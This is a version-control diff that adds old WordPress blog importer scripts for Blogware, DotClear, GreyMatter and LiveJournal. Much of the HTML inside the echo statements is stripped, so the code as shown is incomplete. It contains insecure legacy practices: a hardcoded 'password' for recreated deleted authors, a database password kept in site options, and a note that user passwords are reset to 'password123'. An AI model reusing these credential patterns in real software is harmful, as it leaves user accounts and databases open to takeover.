  2. '; + break; + } + if(0 != count($categories)) + wp_create_categories($categories, $post_id); + } + + preg_match_all('|(.*?)|is', $post, $comments); + $comments = $comments[1]; + + if ( $comments ) { + $comment_post_ID = (int) $post_id; + $num_comments = 0; + foreach ($comments as $comment) { + preg_match('|(.*?)|is', $comment, $comment_content); + $comment_content = str_replace(array (''), '', trim($comment_content[1])); + $comment_content = $this->unhtmlentities($comment_content); + + // Clean up content + $comment_content = preg_replace_callback('|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $comment_content); + $comment_content = str_replace('
    ', '
    ', $comment_content); + $comment_content = str_replace('
    ', '
    ', $comment_content); + $comment_content = $wpdb->escape($comment_content); + + preg_match('|(.*?)|is', $comment, $comment_date); + $comment_date = trim($comment_date[1]); + $comment_date = date('Y-m-d H:i:s', strtotime($comment_date)); + + preg_match('|(.*?)|is', $comment, $comment_author); + $comment_author = $wpdb->escape(trim($comment_author[1])); + + $comment_author_email = NULL; + + $comment_approved = 1; + // Check if it's already there + if (!comment_exists($comment_author, $comment_date)) { + $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_date', 'comment_content', 'comment_approved'); + $commentdata = wp_filter_comment($commentdata); + wp_insert_comment($commentdata); + $num_comments++; + } + } + } + if ( $num_comments ) { + echo ' '; + printf( _n('%s comment', '%s comments', $num_comments), $num_comments ); + } + echo ''; + flush(); + ob_flush(); + } + echo '
'; + } + + function import() { + $file = wp_import_handle_upload(); + if ( isset($file['error']) ) { + echo $file['error']; + return; + } + + $this->file = $file['file']; + $result = $this->import_posts(); + if ( is_wp_error( $result ) ) + return $result; + wp_import_cleanup($file['id']); + do_action('import_done', 'blogware'); + echo '

'; + printf(__('All done. Have fun!'), get_option('home')); + echo '

'; + } + + function dispatch() { + if (empty ($_GET['step'])) + $step = 0; + else + $step = (int) $_GET['step']; + + $this->header(); + + switch ($step) { + case 0 : + $this->greet(); + break; + case 1 : + $result = $this->import(); + if ( is_wp_error( $result ) ) + $result->get_error_message(); + break; + } + + $this->footer(); + } + + function BW_Import() { + // Nothing. + } +} + +$blogware_import = new BW_Import(); + +register_importer('blogware', __('Blogware'), __('Import posts from Blogware.'), array ($blogware_import, 'dispatch')); +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/dotclear.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/dotclear.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,718 @@ +get_var( $wpdb->prepare("SELECT count(*) FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) ); + } +} + +if(!function_exists('link_exists')) +{ + /** + * Check whether link already exists. + * + * @package WordPress + * @subpackage Dotclear_Import + * + * @param string $linkname + * @return int + */ + function link_exists($linkname) + { + global $wpdb; + return $wpdb->get_var( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_name = %s", $linkname) ); + } +} + +/** + * Convert from dotclear charset to utf8 if required + * + * @package WordPress + * @subpackage Dotclear_Import + * + * @param string $s + * @return string + */ +function csc ($s) { + if (seems_utf8 ($s)) { + return $s; + } else { + return iconv(get_option ("dccharset"),"UTF-8",$s); + } +} + +/** + * @package WordPress + * @subpackage Dotclear_Import + * + * @param string $s + * @return string + */ +function textconv ($s) { + return csc (preg_replace ('|(?)\s*\n|', ' ', $s)); +} + +/** + * Dotclear Importer class + * + * Will process the WordPress eXtended RSS files that you upload from the export + * file. + * + * @package WordPress + * @subpackage Importer + * + * @since unknown + */ +class Dotclear_Import { + + function header() + { + echo '
'; + screen_icon(); + echo '

'.__('Import DotClear').'

'; + echo '

'.__('Steps may take a few minutes depending on the size of your database. Please be patient.').'

'; + } + + function footer() + { + echo '
'; + } + + function greet() + { + echo '

'.__('Howdy! This importer allows you to extract posts from a DotClear database into your blog. Mileage may vary.').'

'; + echo '

'.__('Your DotClear Configuration settings are as follows:').'

'; + echo '
'; + wp_nonce_field('import-dotclear'); + $this->db_form(); + echo '

'; + echo '
'; + } + + function get_dc_cats() + { + global $wpdb; + // General Housekeeping + $dcdb = new wpdb(get_option('dcuser'), get_option('dcpass'), get_option('dcname'), get_option('dchost')); + set_magic_quotes_runtime(0); + $dbprefix = get_option('dcdbprefix'); + + // Get Categories + return $dcdb->get_results('SELECT * FROM '.$dbprefix.'categorie', ARRAY_A); + } + + function get_dc_users() + { + global $wpdb; + // General Housekeeping + $dcdb = new wpdb(get_option('dcuser'), get_option('dcpass'), get_option('dcname'), get_option('dchost')); + set_magic_quotes_runtime(0); + $dbprefix = get_option('dcdbprefix'); + + // Get Users + + return $dcdb->get_results('SELECT * FROM '.$dbprefix.'user', ARRAY_A); + } + + function get_dc_posts() + { + // General Housekeeping + $dcdb = new wpdb(get_option('dcuser'), get_option('dcpass'), get_option('dcname'), get_option('dchost')); + set_magic_quotes_runtime(0); + $dbprefix = get_option('dcdbprefix'); + + // Get Posts + return $dcdb->get_results('SELECT '.$dbprefix.'post.*, '.$dbprefix.'categorie.cat_libelle_url AS post_cat_name + FROM '.$dbprefix.'post INNER JOIN '.$dbprefix.'categorie + ON '.$dbprefix.'post.cat_id = '.$dbprefix.'categorie.cat_id', ARRAY_A); + } + + function get_dc_comments() + { + global $wpdb; + // General Housekeeping + $dcdb = new wpdb(get_option('dcuser'), get_option('dcpass'), get_option('dcname'), get_option('dchost')); + set_magic_quotes_runtime(0); + $dbprefix = get_option('dcdbprefix'); + + // Get Comments + return $dcdb->get_results('SELECT * FROM '.$dbprefix.'comment', ARRAY_A); + } + + function get_dc_links() + { + //General Housekeeping + $dcdb = new wpdb(get_option('dcuser'), get_option('dcpass'), get_option('dcname'), get_option('dchost')); + set_magic_quotes_runtime(0); + $dbprefix = get_option('dcdbprefix'); + + return $dcdb->get_results('SELECT * FROM '.$dbprefix.'link ORDER BY position', ARRAY_A); + } + + function cat2wp($categories='') + { + // General Housekeeping + global $wpdb; + $count = 0; + $dccat2wpcat = array(); + // Do the Magic + if(is_array($categories)) + { + echo '

'.__('Importing Categories...').'

'; + foreach ($categories as $category) + { + $count++; + extract($category); + + // Make Nice Variables + $name = $wpdb->escape($cat_libelle_url); + $title = $wpdb->escape(csc ($cat_libelle)); + $desc = $wpdb->escape(csc ($cat_desc)); + + if($cinfo = category_exists($name)) + { + $ret_id = wp_insert_category(array('cat_ID' => $cinfo, 'category_nicename' => $name, 'cat_name' => $title, 'category_description' => $desc)); + } + else + { + $ret_id = wp_insert_category(array('category_nicename' => $name, 'cat_name' => $title, 'category_description' => $desc)); + } + $dccat2wpcat[$id] = $ret_id; + } + + // Store category translation for future use + add_option('dccat2wpcat',$dccat2wpcat); + echo '

'.sprintf(_n('Done! %1$s category imported.', 'Done! %1$s categories imported.', $count), $count).'

'; + return true; + } + echo __('No Categories to Import!'); + return false; + } + + function users2wp($users='') + { + // General Housekeeping + global $wpdb; + $count = 0; + $dcid2wpid = array(); + + // Midnight Mojo + if(is_array($users)) + { + echo '

'.__('Importing Users...').'

'; + foreach($users as $user) + { + $count++; + extract($user); + + // Make Nice Variables + $name = $wpdb->escape(csc ($name)); + $RealName = $wpdb->escape(csc ($user_pseudo)); + + if($uinfo = get_userdatabylogin($name)) + { + + $ret_id = wp_insert_user(array( + 'ID' => $uinfo->ID, + 'user_login' => $user_id, + 'user_nicename' => $Realname, + 'user_email' => $user_email, + 'user_url' => 'http://', + 'display_name' => $Realname) + ); + } + else + { + $ret_id = wp_insert_user(array( + 'user_login' => $user_id, + 'user_nicename' => csc ($user_pseudo), + 'user_email' => $user_email, + 'user_url' => 'http://', + 'display_name' => $Realname) + ); + } + $dcid2wpid[$user_id] = $ret_id; + + // Set DotClear-to-WordPress permissions translation + + // Update Usermeta Data + $user = new WP_User($ret_id); + $wp_perms = $user_level + 1; + if(10 == $wp_perms) { $user->set_role('administrator'); } + else if(9 == $wp_perms) { $user->set_role('editor'); } + else if(5 <= $wp_perms) { $user->set_role('editor'); } + else if(4 <= $wp_perms) { $user->set_role('author'); } + else if(3 <= $wp_perms) { $user->set_role('contributor'); } + else if(2 <= $wp_perms) { $user->set_role('contributor'); } + else { $user->set_role('subscriber'); } + + update_usermeta( $ret_id, 'wp_user_level', $wp_perms); + update_usermeta( $ret_id, 'rich_editing', 'false'); + update_usermeta( $ret_id, 'first_name', csc ($user_prenom)); + update_usermeta( $ret_id, 'last_name', csc ($user_nom)); + }// End foreach($users as $user) + + // Store id translation array for future use + add_option('dcid2wpid',$dcid2wpid); + + + echo '

'.sprintf(__('Done! %1$s users imported.'), $count).'

'; + return true; + }// End if(is_array($users) + + echo __('No Users to Import!'); + return false; + + }// End function user2wp() + + function posts2wp($posts='') + { + // General Housekeeping + global $wpdb; + $count = 0; + $dcposts2wpposts = array(); + $cats = array(); + + // Do the Magic + if(is_array($posts)) + { + echo '

'.__('Importing Posts...').'

'; + foreach($posts as $post) + { + $count++; + extract($post); + + // Set DotClear-to-WordPress status translation + $stattrans = array(0 => 'draft', 1 => 'publish'); + $comment_status_map = array (0 => 'closed', 1 => 'open'); + + //Can we do this more efficiently? + $uinfo = ( get_userdatabylogin( $user_id ) ) ? get_userdatabylogin( $user_id ) : 1; + $authorid = ( is_object( $uinfo ) ) ? $uinfo->ID : $uinfo ; + + $Title = $wpdb->escape(csc ($post_titre)); + $post_content = textconv ($post_content); + $post_excerpt = ""; + if ($post_chapo != "") { + $post_excerpt = textconv ($post_chapo); + $post_content = $post_excerpt ."\n\n".$post_content; + } + $post_excerpt = $wpdb->escape ($post_excerpt); + $post_content = $wpdb->escape ($post_content); + $post_status = $stattrans[$post_pub]; + + // Import Post data into WordPress + + if($pinfo = post_exists($Title,$post_content)) + { + $ret_id = wp_insert_post(array( + 'ID' => $pinfo, + 'post_author' => $authorid, + 'post_date' => $post_dt, + 'post_date_gmt' => $post_dt, + 'post_modified' => $post_upddt, + 'post_modified_gmt' => $post_upddt, + 'post_title' => $Title, + 'post_content' => $post_content, + 'post_excerpt' => $post_excerpt, + 'post_status' => $post_status, + 'post_name' => $post_titre_url, + 'comment_status' => $comment_status_map[$post_open_comment], + 'ping_status' => $comment_status_map[$post_open_tb], + 'comment_count' => $post_nb_comment + $post_nb_trackback) + ); + if ( is_wp_error( $ret_id ) ) + return $ret_id; + } + else + { + $ret_id = wp_insert_post(array( + 'post_author' => $authorid, + 'post_date' => $post_dt, + 'post_date_gmt' => $post_dt, + 'post_modified' => $post_modified_gmt, + 'post_modified_gmt' => $post_modified_gmt, + 'post_title' => $Title, + 'post_content' => $post_content, + 'post_excerpt' => $post_excerpt, + 'post_status' => $post_status, + 'post_name' => $post_titre_url, + 'comment_status' => $comment_status_map[$post_open_comment], + 'ping_status' => $comment_status_map[$post_open_tb], + 'comment_count' => $post_nb_comment + $post_nb_trackback) + ); + if ( is_wp_error( $ret_id ) ) + return $ret_id; + } + $dcposts2wpposts[$post_id] = $ret_id; + + // Make Post-to-Category associations + $cats = array(); + $category1 = get_category_by_slug($post_cat_name); + $category1 = $category1->term_id; + + if($cat1 = $category1) { $cats[1] = $cat1; } + + if(!empty($cats)) { wp_set_post_categories($ret_id, $cats); } + } + } + // Store ID translation for later use + add_option('dcposts2wpposts',$dcposts2wpposts); + + echo '

'.sprintf(__('Done! %1$s posts imported.'), $count).'

'; + return true; + } + + function comments2wp($comments='') + { + // General Housekeeping + global $wpdb; + $count = 0; + $dccm2wpcm = array(); + $postarr = get_option('dcposts2wpposts'); + + // Magic Mojo + if(is_array($comments)) + { + echo '

'.__('Importing Comments...').'

'; + foreach($comments as $comment) + { + $count++; + extract($comment); + + // WordPressify Data + $comment_ID = (int) ltrim($comment_id, '0'); + $comment_post_ID = (int) $postarr[$post_id]; + $comment_approved = "$comment_pub"; + $name = $wpdb->escape(csc ($comment_auteur)); + $email = $wpdb->escape($comment_email); + $web = "http://".$wpdb->escape($comment_site); + $message = $wpdb->escape(textconv ($comment_content)); + + $comment = array( + 'comment_post_ID' => $comment_post_ID, + 'comment_author' => $name, + 'comment_author_email' => $email, + 'comment_author_url' => $web, + 'comment_author_IP' => $comment_ip, + 'comment_date' => $comment_dt, + 'comment_date_gmt' => $comment_dt, + 'comment_content' => $message, + 'comment_approved' => $comment_approved); + $comment = wp_filter_comment($comment); + + if ( $cinfo = comment_exists($name, $comment_dt) ) { + // Update comments + $comment['comment_ID'] = $cinfo; + $ret_id = wp_update_comment($comment); + } else { + // Insert comments + $ret_id = wp_insert_comment($comment); + } + $dccm2wpcm[$comment_ID] = $ret_id; + } + // Store Comment ID translation for future use + add_option('dccm2wpcm', $dccm2wpcm); + + // Associate newly formed categories with posts + get_comment_count($ret_id); + + + echo '

'.sprintf(__('Done! %1$s comments imported.'), $count).'

'; + return true; + } + echo __('No Comments to Import!'); + return false; + } + + function links2wp($links='') + { + // General Housekeeping + global $wpdb; + $count = 0; + + // Deal with the links + if(is_array($links)) + { + echo '

'.__('Importing Links...').'

'; + foreach($links as $link) + { + $count++; + extract($link); + + if ($title != "") { + if ($cinfo = is_term(csc ($title), 'link_category')) { + $category = $cinfo['term_id']; + } else { + $category = wp_insert_term($wpdb->escape (csc ($title)), 'link_category'); + $category = $category['term_id']; + } + } else { + $linkname = $wpdb->escape(csc ($label)); + $description = $wpdb->escape(csc ($title)); + + if($linfo = link_exists($linkname)) { + $ret_id = wp_insert_link(array( + 'link_id' => $linfo, + 'link_url' => $href, + 'link_name' => $linkname, + 'link_category' => $category, + 'link_description' => $description) + ); + } else { + $ret_id = wp_insert_link(array( + 'link_url' => $url, + 'link_name' => $linkname, + 'link_category' => $category, + 'link_description' => $description) + ); + } + $dclinks2wplinks[$link_id] = $ret_id; + } + } + add_option('dclinks2wplinks',$dclinks2wplinks); + echo '

'; + printf(_n('Done! %s link or link category imported.', 'Done! %s links or link categories imported.', $count), $count); + echo '

'; + return true; + } + echo __('No Links to Import!'); + return false; + } + + function import_categories() + { + // Category Import + $cats = $this->get_dc_cats(); + $this->cat2wp($cats); + add_option('dc_cats', $cats); + + + + echo '
'; + wp_nonce_field('import-dotclear'); + printf('

', esc_attr__('Import Users')); + echo '
'; + + } + + function import_users() + { + // User Import + $users = $this->get_dc_users(); + $this->users2wp($users); + + echo '
'; + wp_nonce_field('import-dotclear'); + printf('

', esc_attr__('Import Posts')); + echo '
'; + } + + function import_posts() + { + // Post Import + $posts = $this->get_dc_posts(); + $result = $this->posts2wp($posts); + if ( is_wp_error( $result ) ) + return $result; + + echo '
'; + wp_nonce_field('import-dotclear'); + printf('

', esc_attr__('Import Comments')); + echo '
'; + } + + function import_comments() + { + // Comment Import + $comments = $this->get_dc_comments(); + $this->comments2wp($comments); + + echo '
'; + wp_nonce_field('import-dotclear'); + printf('

', esc_attr__('Import Links')); + echo '
'; + } + + function import_links() + { + //Link Import + $links = $this->get_dc_links(); + $this->links2wp($links); + add_option('dc_links', $links); + + echo '
'; + wp_nonce_field('import-dotclear'); + printf('

', esc_attr__('Finish')); + echo '
'; + } + + function cleanup_dcimport() + { + delete_option('dcdbprefix'); + delete_option('dc_cats'); + delete_option('dcid2wpid'); + delete_option('dccat2wpcat'); + delete_option('dcposts2wpposts'); + delete_option('dccm2wpcm'); + delete_option('dclinks2wplinks'); + delete_option('dcuser'); + delete_option('dcpass'); + delete_option('dcname'); + delete_option('dchost'); + delete_option('dccharset'); + do_action('import_done', 'dotclear'); + $this->tips(); + } + + function tips() + { + echo '

'.__('Welcome to WordPress. We hope (and expect!) that you will find this platform incredibly rewarding! As a new WordPress user coming from DotClear, there are some things that we would like to point out. Hopefully, they will help your transition go as smoothly as possible.').'

'; + echo '

'.__('Users').'

'; + echo '

'.sprintf(__('You have already setup WordPress and have been assigned an administrative login and password. Forget it. You didn’t have that login in DotClear, why should you have it here? Instead we have taken care to import all of your users into our system. Unfortunately there is one downside. Because both WordPress and DotClear uses a strong encryption hash with passwords, it is impossible to decrypt it and we are forced to assign temporary passwords to all your users. Every user has the same username, but their passwords are reset to password123. So Log in and change it.'), '/wp-login.php').'

'; + echo '

'.__('Preserving Authors').'

'; + echo '

'.__('Secondly, we have attempted to preserve post authors. If you are the only author or contributor to your blog, then you are safe. In most cases, we are successful in this preservation endeavor. However, if we cannot ascertain the name of the writer due to discrepancies between database tables, we assign it to you, the administrative user.').'

'; + echo '

'.__('Textile').'

'; + echo '

'.__('Also, since you’re coming from DotClear, you probably have been using Textile to format your comments and posts. If this is the case, we recommend downloading and installing Textile for WordPress. Trust me… You’ll want it.').'

'; + echo '

'.__('WordPress Resources').'

'; + echo '

'.__('Finally, there are numerous WordPress resources around the internet. Some of them are:').'

'; + echo ''; + echo '

'.sprintf(__('That’s it! What are you waiting for? Go log in!'), '../wp-login.php').'

'; + } + + function db_form() + { + echo ''; + printf('', __('DotClear Database User:')); + printf('', __('DotClear Database Password:')); + printf('', __('DotClear Database Name:')); + printf('', __('DotClear Database Host:')); + printf('', __('DotClear Table prefix:')); + printf('', __('Originating character set:')); + echo '
'; + } + + function dispatch() + { + + if (empty ($_GET['step'])) + $step = 0; + else + $step = (int) $_GET['step']; + $this->header(); + + if ( $step > 0 ) + { + check_admin_referer('import-dotclear'); + + if($_POST['dbuser']) + { + if(get_option('dcuser')) + delete_option('dcuser'); + add_option('dcuser', sanitize_user($_POST['dbuser'], true)); + } + if($_POST['dbpass']) + { + if(get_option('dcpass')) + delete_option('dcpass'); + add_option('dcpass', sanitize_user($_POST['dbpass'], true)); + } + + if($_POST['dbname']) + { + if(get_option('dcname')) + delete_option('dcname'); + add_option('dcname', sanitize_user($_POST['dbname'], true)); + } + if($_POST['dbhost']) + { + if(get_option('dchost')) + delete_option('dchost'); + add_option('dchost', sanitize_user($_POST['dbhost'], true)); + } + if($_POST['dccharset']) + { + if(get_option('dccharset')) + delete_option('dccharset'); + add_option('dccharset', sanitize_user($_POST['dccharset'], true)); + } + if($_POST['dbprefix']) + { + if(get_option('dcdbprefix')) + delete_option('dcdbprefix'); + add_option('dcdbprefix', sanitize_user($_POST['dbprefix'], true)); + } + + + } + + switch ($step) + { + default: + case 0 : + $this->greet(); + break; + case 1 : + $this->import_categories(); + break; + case 2 : + $this->import_users(); + break; + case 3 : + $result = $this->import_posts(); + if ( is_wp_error( $result ) ) + echo $result->get_error_message(); + break; + case 4 : + $this->import_comments(); + break; + case 5 : + $this->import_links(); + break; + case 6 : + $this->cleanup_dcimport(); + break; + } + + $this->footer(); + } + + function Dotclear_Import() + { + // Nothing. + } +} + +$dc_import = new Dotclear_Import(); + +register_importer('dotclear', __('DotClear'), __('Import categories, users, posts, comments, and links from a DotClear blog.'), array ($dc_import, 'dispatch')); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/greymatter.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/greymatter.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,334 @@ +'; + screen_icon(); + echo '

'.__('Import GreyMatter').'

'; + } + + function footer() { + echo ''; + } + + function greet() { + $this->header(); +?> +

+

+
    +
  • +
  • If authors are found not to be in gm-authors.cgi, imports them at level 0.') ?>
  • +
  • +
+

+
    +
  • +
  • +
  • +
+

 

+ +
+ + + +

+ + + + + + + + + + + + + +

+ so you need to enter the number of the last GM post here.
(if you don’t know that number, just log in to your FTP and look it out
in the entries’ folder)') ?>
+

+
+footer(); + } + + + + function gm2autobr($string) { // transforms GM's |*| into b2's
\n + $string = str_replace("|*|","
\n",$string); + return($string); + } + + function import() { + global $wpdb; + + $wpvarstoreset = array('gmpath', 'archivespath', 'lastentry'); + for ($i=0; $iheader(); +?> +

+
    +
    • escape($userdata[0]); + $pass1=$wpdb->escape($userdata[1]); + $user_nickname=$wpdb->escape($userdata[0]); + $user_email=$wpdb->escape($userdata[2]); + $user_url=$wpdb->escape($userdata[3]); + $user_joindate=$wpdb->escape($user_joindate); + + $user_id = username_exists($user_login); + if ($user_id) { + printf('
    • '.__('user %s').''.__('Already exists').'
    • ', "$user_login"); + $this->gmnames[$userdata[0]] = $user_id; + continue; + } + + $user_info = array("user_login"=>"$user_login", "user_pass"=>"$pass1", "user_nickname"=>"$user_nickname", "user_email"=>"$user_email", "user_url"=>"$user_url", "user_ip"=>"$user_ip", "user_domain"=>"$user_domain", "user_browser"=>"$user_browser", "dateYMDhour"=>"$user_joindate", "user_level"=>"1", "user_idmode"=>"nickname"); + $user_id = wp_insert_user($user_info); + $this->gmnames[$userdata[0]] = $user_id; + + printf('
    • '.__('user %s...').' '.__('Done').'
    • ', "$user_login"); + } + +?>
  • +

    • gm2autobr($entry[2]); + $postmorecontent=$this->gm2autobr($entry[3]); + + $post_author=trim($wpdb->escape($postinfo[1])); + + $post_title=$this->gm2autobr($postinfo[2]); + printf('
    • '.__('entry # %s : %s : by %s'), $entryfile, $post_title, $postinfo[1]); + $post_title=$wpdb->escape($post_title); + + $postyear=$postinfo[6]; + $postmonth=zeroise($postinfo[4],2); + $postday=zeroise($postinfo[5],2); + $posthour=zeroise($postinfo[7],2); + $postminute=zeroise($postinfo[8],2); + $postsecond=zeroise($postinfo[9],2); + + if (($postinfo[10]=="PM") && ($posthour!="12")) + $posthour=$posthour+12; + + $post_date="$postyear-$postmonth-$postday $posthour:$postminute:$postsecond"; + + $post_content=$postmaincontent; + if (strlen($postmorecontent)>3) + $post_content .= "

      ".$postmorecontent; + $post_content=$wpdb->escape($post_content); + + $post_karma=$postinfo[12]; + + $post_status = 'publish'; //in greymatter, there are no drafts + $comment_status = 'open'; + $ping_status = 'closed'; + + if ($post_ID = post_exists($post_title, '', $post_date)) { + echo ' '; + _e('(already exists)'); + } else { + //just so that if a post already exists, new users are not created by checkauthor + // we'll check the author is registered, or if it's a deleted author + $user_id = username_exists($post_author); + if (!$user_id) { // if deleted from GM, we register the author as a level 0 user + $user_ip="127.0.0.1"; + $user_domain="localhost"; + $user_browser="server"; + $user_joindate="1979-06-06 00:41:00"; + $user_login=$wpdb->escape($post_author); + $pass1=$wpdb->escape("password"); + $user_nickname=$wpdb->escape($post_author); + $user_email=$wpdb->escape("user@deleted.com"); + $user_url=$wpdb->escape(""); + $user_joindate=$wpdb->escape($user_joindate); + + $user_info = array("user_login"=>$user_login, "user_pass"=>$pass1, "user_nickname"=>$user_nickname, "user_email"=>$user_email, "user_url"=>$user_url, "user_ip"=>$user_ip, "user_domain"=>$user_domain, "user_browser"=>$user_browser, "dateYMDhour"=>$user_joindate, "user_level"=>0, "user_idmode"=>"nickname"); + $user_id = wp_insert_user($user_info); + $this->gmnames[$postinfo[1]] = $user_id; + + echo ': '; + printf(__('registered deleted user %s at level 0 '), "$user_login"); + } + + if (array_key_exists($postinfo[1], $this->gmnames)) { + $post_author = $this->gmnames[$postinfo[1]]; + } else { + $post_author = $user_id; + } + + $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'comment_status', 'ping_status', 'post_modified', 'post_modified_gmt'); + $post_ID = wp_insert_post($postdata); + if ( is_wp_error( $post_ID ) ) + return $post_ID; + } + + $c=count($entry); + if ($c>4) { + $numAddedComments = 0; + $numComments = 0; + for ($j=4;$j<$c;$j++) { + $entry[$j]=$this->gm2autobr($entry[$j]); + $commentinfo=explode("|",$entry[$j]); + $comment_post_ID=$post_ID; + $comment_author=$wpdb->escape($commentinfo[0]); + $comment_author_email=$wpdb->escape($commentinfo[2]); + $comment_author_url=$wpdb->escape($commentinfo[3]); + $comment_author_IP=$wpdb->escape($commentinfo[1]); + + $commentyear=$commentinfo[7]; + $commentmonth=zeroise($commentinfo[5],2); + $commentday=zeroise($commentinfo[6],2); + $commenthour=zeroise($commentinfo[8],2); + $commentminute=zeroise($commentinfo[9],2); + $commentsecond=zeroise($commentinfo[10],2); + if (($commentinfo[11]=="PM") && ($commenthour!="12")) + $commenthour=$commenthour+12; + $comment_date="$commentyear-$commentmonth-$commentday $commenthour:$commentminute:$commentsecond"; + + $comment_content=$wpdb->escape($commentinfo[12]); + + if (!comment_exists($comment_author, $comment_date)) { + $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_content', 'comment_approved'); + $commentdata = wp_filter_comment($commentdata); + wp_insert_comment($commentdata); + $numAddedComments++; + } + $numComments++; + } + if ($numAddedComments > 0) { + echo ': '; + printf( _n('imported %s comment', 'imported %s comments', $numAddedComments) , $numAddedComments); + } + $preExisting = $numComments - numAddedComments; + if ($preExisting > 0) { + echo ' '; + printf( _n( 'ignored %s pre-existing comment', 'ignored %s pre-existing comments', $preExisting ) , $preExisting); + } + } + echo '... '.__('Done').'
    • '; + } + } + do_action('import_done', 'greymatter'); + ?> +
+

 

+

+footer(); + return; + } + + function dispatch() { + if (empty ($_GET['step'])) + $step = 0; + else + $step = (int) $_GET['step']; + + switch ($step) { + case 0 : + $this->greet(); + break; + case 1: + check_admin_referer('import-greymatter'); + $result = $this->import(); + if ( is_wp_error( $result ) ) + echo $result->get_error_message(); + break; + } + } + + function GM_Import() { + // Nothing. + } +} + +$gm_import = new GM_Import(); + +register_importer('greymatter', __('GreyMatter'), __('Import users, posts, and comments from a Greymatter blog.'), array ($gm_import, 'dispatch')); +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/livejournal.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/livejournal.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1059 @@ + 'aggravated', + '10' => 'discontent', + '100' => 'rushed', + '101' => 'contemplative', + '102' => 'nerdy', + '103' => 'geeky', + '104' => 'cynical', + '105' => 'quixotic', + '106' => 'crazy', + '107' => 'creative', + '108' => 'artistic', + '109' => 'pleased', + '11' => 'energetic', + '110' => 'bitchy', + '111' => 'guilty', + '112' => 'irritated', + '113' => 'blank', + '114' => 'apathetic', + '115' => 'dorky', + '116' => 'impressed', + '117' => 'naughty', + '118' => 'predatory', + '119' => 'dirty', + '12' => 'enraged', + '120' => 'giddy', + '121' => 'surprised', + '122' => 'shocked', + '123' => 'rejected', + '124' => 'numb', + '125' => 'cheerful', + '126' => 'good', + '127' => 'distressed', + '128' => 'intimidated', + '129' => 'crushed', + '13' => 'enthralled', + '130' => 'devious', + '131' => 'thankful', + '132' => 'grateful', + '133' => 'jealous', + '134' => 'nervous', + '14' => 'exhausted', + '15' => 'happy', + '16' => 'high', + '17' => 'horny', + '18' => 'hungry', + '19' => 'infuriated', + '2' => 'angry', + '20' => 'irate', + '21' => 'jubilant', + '22' => 'lonely', + '23' => 'moody', + '24' => 'pissed off', + '25' => 'sad', + '26' => 'satisfied', + '27' => 'sore', + '28' => 'stressed', + '29' => 'thirsty', + '3' => 'annoyed', + '30' => 'thoughtful', + '31' => 'tired', + '32' => 'touched', + '33' => 'lazy', + '34' => 'drunk', + '35' => 'ditzy', + '36' => 'mischievous', + '37' => 'morose', + '38' => 'gloomy', + '39' => 'melancholy', + '4' => 'anxious', + '40' => 'drained', + '41' => 'excited', + '42' => 'relieved', + '43' => 'hopeful', + '44' => 'amused', + '45' => 'determined', + '46' => 'scared', + '47' => 'frustrated', + '48' => 'indescribable', + '49' => 'sleepy', + '5' => 'bored', + '51' => 'groggy', + '52' => 'hyper', + '53' => 'relaxed', + '54' => 'restless', + '55' => 'disappointed', + '56' => 'curious', + '57' => 'mellow', + '58' => 'peaceful', + '59' => 'bouncy', + '6' => 'confused', + '60' => 'nostalgic', + '61' => 'okay', + '62' => 'rejuvenated', + '63' => 'complacent', + '64' => 'content', + '65' => 'indifferent', + '66' => 'silly', + '67' => 'flirty', + '68' => 'calm', + '69' => 'refreshed', + '7' => 'crappy', + '70' => 'optimistic', + '71' => 'pessimistic', + '72' => 'giggly', + '73' => 'pensive', + '74' => 'uncomfortable', + '75' => 'lethargic', + '76' => 'listless', + '77' => 'recumbent', + '78' => 'exanimate', + '79' => 'embarrassed', + '8' => 'cranky', + '80' => 'envious', + '81' => 'sympathetic', + '82' => 'sick', + '83' => 'hot', + '84' => 'cold', + '85' => 'worried', + '86' => 'loved', + '87' => 'awake', + '88' => 'working', + '89' => 'productive', + '9' => 'depressed', + '90' => 'accomplished', + '91' => 'busy', + '92' => 'blah', + '93' => 'full', + '95' => 'grumpy', + '96' => 'weird', + '97' => 'nauseated', + '98' => 'ecstatic', + '99' => 'chipper' ); + + function header() { + echo '
'; + screen_icon(); + echo '

' . __( 'Import LiveJournal' ) . '

'; + } + + function footer() { + echo '
'; + } + + function greet() { + ?> +
+
+ + + +

+

+ +

+

+

+ + + +

+

+ + + + + + + + + + + + + +
+ +

+

+

+ + + + + + + +
+ +

WARNING: This can take a really long time if you have a lot of entries in your LiveJournal, or a lot of comments. Ideally, you should only start this process if you can leave your computer alone while it finishes the import." ) ?>

+ +

+ +

+ +

NOTE: If the import process is interrupted for any reason, come back to this page and it will continue from where it stopped automatically.' ) ?>

+ + + +
+
+ lj_ixr( 'syncitems', array( 'ver' => 1, 'lastsync' => $lastsync ) ); + if ( is_wp_error( $synclist ) ) + return $synclist; + + // Keep track of if we've downloaded everything + $total = $synclist['total']; + $count = $synclist['count']; + + foreach ( $synclist['syncitems'] as $event ) { + if ( substr( $event['item'], 0, 2 ) == 'L-' ) { + $sync_item_times[ str_replace( 'L-', '', $event['item'] ) ] = $event['time']; + if ( $event['time'] > $lastsync ) { + $lastsync = $event['time']; + update_option( 'ljapi_lastsync', $lastsync ); + } + } + } + } while ( $total > $count ); + // endwhile - all post meta is cached locally + unset( $synclist ); + update_option( 'ljapi_sync_item_times', $sync_item_times ); + update_option( 'ljapi_total', $total ); + update_option( 'ljapi_count', $count ); + + echo '

' . __( 'Post metadata has been downloaded, proceeding with posts...' ) . '

